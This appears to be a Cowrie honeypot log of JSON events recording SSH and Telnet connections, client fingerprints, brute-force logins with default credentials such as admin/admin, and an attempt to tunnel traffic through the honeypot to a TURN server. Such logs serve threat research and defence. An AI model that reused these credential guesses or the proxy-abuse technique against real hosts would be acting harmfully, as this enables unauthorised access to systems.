{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":47520,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fd25b63d99a","protocol":"ssh","message":"New connection: 182.93.50.90:47520 (10.17.0.5:22) [session: 9fd25b63d99a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:10.792665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:10.796898Z","src_ip":"182.93.50.90","session":"9fd25b63d99a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:11.011515Z","src_ip":"182.93.50.90","session":"9fd25b63d99a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huang","password":"huang","message":"login attempt [huang/huang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:11.923076Z","src_ip":"182.93.50.90","session":"9fd25b63d99a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:13.141978Z","src_ip":"182.93.50.90","session":"9fd25b63d99a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":39664,"dst_ip":"10.17.0.5","dst_port":23,"session":"99eef73732ac","protocol":"telnet","message":"New connection: 94.23.66.112:39664 (10.17.0.5:23) [session: 99eef73732ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:48.437661Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37312,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f8f6732913a","protocol":"telnet","message":"New connection: 128.199.8.54:37312 (159.203.135.109:23) [session: 5f8f6732913a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:50.261114Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":53526,"dst_ip":"159.203.135.109","dst_port":22,"session":"2950d6337fea","protocol":"ssh","message":"New connection: 45.148.10.121:53526 (159.203.135.109:22) [session: 2950d6337fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:54.667082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:54.671430Z","src_ip":"45.148.10.121","session":"2950d6337fea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:54.758402Z","src_ip":"45.148.10.121","session":"2950d6337fea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:55.022405Z","src_ip":"45.148.10.121","session":"2950d6337fea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:55.112319Z","session":"2950d6337fea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:55.204004Z","src_ip":"45.148.10.121","session":"2950d6337fea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:55.206909Z","src_ip":"45.148.10.121","session":"2950d6337fea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.51923942565918,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:55.246977Z","src_ip":"107.6.151.170","session":"51ed06653486","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:55.295940Z","src_ip":"45.148.10.121","session":"2950d6337fea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":53542,"dst_ip":"159.203.135.109","dst_port":22,"session":"1628d40e60bc","protocol":"ssh","message":"New connection: 45.148.10.121:53542 (159.203.135.109:22) [session: 1628d40e60bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:55.390170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:55.395242Z","src_ip":"45.148.10.121","session":"1628d40e60bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:55.487956Z","src_ip":"45.148.10.121","session":"1628d40e60bc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:55.767446Z","src_ip":"45.148.10.121","session":"1628d40e60bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:55.862013Z","session":"1628d40e60bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:55.956027Z","src_ip":"45.148.10.121","session":"1628d40e60bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:55.958815Z","src_ip":"45.148.10.121","session":"1628d40e60bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:08:56.123279Z","src_ip":"45.148.10.121","session":"1628d40e60bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":60490,"dst_ip":"10.17.0.5","dst_port":22,"session":"75926fe71830","protocol":"ssh","message":"New connection: 51.250.105.222:60490 (10.17.0.5:22) [session: 75926fe71830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:01.270557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:01.275292Z","src_ip":"51.250.105.222","session":"75926fe71830","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:01.404730Z","src_ip":"51.250.105.222","session":"75926fe71830","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:01.794932Z","src_ip":"51.250.105.222","session":"75926fe71830","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:02.927957Z","src_ip":"51.250.105.222","session":"75926fe71830","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.172.88.206","src_port":39998,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5fe13512047","protocol":"ssh","message":"New connection: 107.172.88.206:39998 (10.17.0.5:22) [session: a5fe13512047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:03.618677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:03.623028Z","src_ip":"107.172.88.206","session":"a5fe13512047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:03.649750Z","src_ip":"107.172.88.206","session":"a5fe13512047","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:ec:de:8c:c2:92:38:26:a4:5d:93:3c:54:70:44:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzpASPHb9gvMK+LlMaBeCMTzFr+g6gW7aHFaj7CRsCg4KjP2AvXVXOzSSYTNRRyqL1eBhy1mNwqoOb6RATkeH9LtPYO/2WI9Fl8ygLisviDJbezJrvK+ea3IQTguRv314UsBaCAc4PsbLoF+Miz/UbIo6N5TARQJqbbIjlAapAaaolT3rE9lM9Aske3unRIIQl+3CZC7z8DT/Etm4NuWoMrY5GlzEsdYqr86/GLfrKUBZUaV8CsP8NJ+iWNI0XvOtAKAaUK+cD9cDlHOxVcAANas4NjrnzqgZhd2BTv4+ExqR5alfnuOHBDb0Zq8gWYtuOVrZZL4dhdsNd78ZTQyQl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:ec:de:8c:c2:92:38:26:a4:5d:93:3c:54:70:44:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:03.733867Z","src_ip":"107.172.88.206","session":"a5fe13512047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:ec:de:8c:c2:92:38:26:a4:5d:93:3c:54:70:44:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzpASPHb9gvMK+LlMaBeCMTzFr+g6gW7aHFaj7CRsCg4KjP2AvXVXOzSSYTNRRyqL1eBhy1mNwqoOb6RATkeH9LtPYO/2WI9Fl8ygLisviDJbezJrvK+ea3IQTguRv314UsBaCAc4PsbLoF+Miz/UbIo6N5TARQJqbbIjlAapAaaolT3rE9lM9Aske3unRIIQl+3CZC7z8DT/Etm4NuWoMrY5GlzEsdYqr86/GLfrKUBZUaV8CsP8NJ+iWNI0XvOtAKAaUK+cD9cDlHOxVcAANas4NjrnzqgZhd2BTv4+ExqR5alfnuOHBDb0Zq8gWYtuOVrZZL4dhdsNd78ZTQyQl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:03.738144Z","src_ip":"107.172.88.206","session":"a5fe13512047","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:69:b3:8f:1a:8c:cb:e7:2f:27:3a:cf:cc:f3:de:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJoOwwbYwW1DC3EQBK9VJKvSE6HIRibDz2aDiM9eAT+/TSNuxqUkVR3Rdfqv3Qgel7rf/eAsjnK2F2eFs9vgppJPjHmgxYh3cee+Nn6zzwCPbwzXkQp5hF6Qg8bveZxpkNFnR0B97GDtDgNjwWTCd8AwVcXwTQReMSo0alA/mN3S4jMQf5BGCaEKZFwOcpgyWaXilg4J9YPfhBbEEpWcmpVBLEt1IsM4j7S+LqeCsgPfTy6Zr0rEpFQZYTugmHrLa3POAx7aMVsVuQrarmqrZeMUmF7HLKQL1R/BcG9hJmSehKPxFu9dAnbYxALLiJo1MW1fgAMSQnT3dqW08Th6TpF6xiQM/2xNh+q2GVTpszANo0/tJCRXdobeNJf2NhHurMiiNoZAz763t578K/PSSn3/NZsosaf8CXt41athdM0MZtPTdgjk/1pwGP+ujABwSI+B+K679SC5Kh0RQYvsw8djs/Yz2EnaXjlDMZGPl7r38pqhFGWbdDjUt5Hn9S0nOofggM9wec8Ap8Fk5qbhg0Zdwzy/fOWUtHlteTbQvQTQLs6VB+o6/MIHvdsjtRQEsRdnsBaB2Z3OyRhjE6StqPl1uFlbiTcBPvGZ3C1GI/diUR2bc46PsGDCxin9TRkHBAVceCLE+OjWHsNcuAo2TC9wv1yQPPZwQUN+ZkdMjVUQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:69:b3:8f:1a:8c:cb:e7:2f:27:3a:cf:cc:f3:de:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:03.758842Z","src_ip":"107.172.88.206","session":"a5fe13512047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:69:b3:8f:1a:8c:cb:e7:2f:27:3a:cf:cc:f3:de:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJoOwwbYwW1DC3EQBK9VJKvSE6HIRibDz2aDiM9eAT+/TSNuxqUkVR3Rdfqv3Qgel7rf/eAsjnK2F2eFs9vgppJPjHmgxYh3cee+Nn6zzwCPbwzXkQp5hF6Qg8bveZxpkNFnR0B97GDtDgNjwWTCd8AwVcXwTQReMSo0alA/mN3S4jMQf5BGCaEKZFwOcpgyWaXilg4J9YPfhBbEEpWcmpVBLEt1IsM4j7S+LqeCsgPfTy6Zr0rEpFQZYTugmHrLa3POAx7aMVsVuQrarmqrZeMUmF7HLKQL1R/BcG9hJmSehKPxFu9dAnbYxALLiJo1MW1fgAMSQnT3dqW08Th6TpF6xiQM/2xNh+q2GVTpszANo0/tJCRXdobeNJf2NhHurMiiNoZAz763t578K/PSSn3/NZsosaf8CXt41athdM0MZtPTdgjk/1pwGP+ujABwSI+B+K679SC5Kh0RQYvsw8djs/Yz2EnaXjlDMZGPl7r38pqhFGWbdDjUt5Hn9S0nOofggM9wec8Ap8Fk5qbhg0Zdwzy/fOWUtHlteTbQvQTQLs6VB+o6/MIHvdsjtRQEsRdnsBaB2Z3OyRhjE6StqPl1uFlbiTcBPvGZ3C1GI/diUR2bc46PsGDCxin9TRkHBAVceCLE+OjWHsNcuAo2TC9wv1yQPPZwQUN+ZkdMjVUQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:03.763015Z","src_ip":"107.172.88.206","session":"a5fe13512047","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:aa:7c:f0:ff:3d:ba:75:76:21:cf:4b:04:56:a6:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGA22VHdHf6L9obZq4AujpZFFrVdIjXYaBHv94SAX5lJ5JJZAclLGtIrXOpJz9VSTho+ACvHOIzDugGfGu7Sg/TFzKEzQzdvLrB+HwPWNy+zyZGeGXGXIIwM4JrDYAwNPMcQI2DEpiUoIL7QYM0ZhA57vfUuZzsO6ouzfybgW0ctnFca/XpEWbG4tLQW/onTSreCRGW1y7rudDUwTTtk5qgmbpwu52W/ya2yHW1spWKrjBhZcxD/dnRMcV/tO11a3o7Y66hDVGStExiBHY4EwrNAi3rb+ShxIsl+6O9s4eGlMvGExqt6ZEsuFtLJcltvemb6i4StZeuWCAZHR8YXIl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:aa:7c:f0:ff:3d:ba:75:76:21:cf:4b:04:56:a6:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:09:03.784267Z","src_ip":"107.172.88.206","session":"a5fe13512047","protocol":"ssh"}
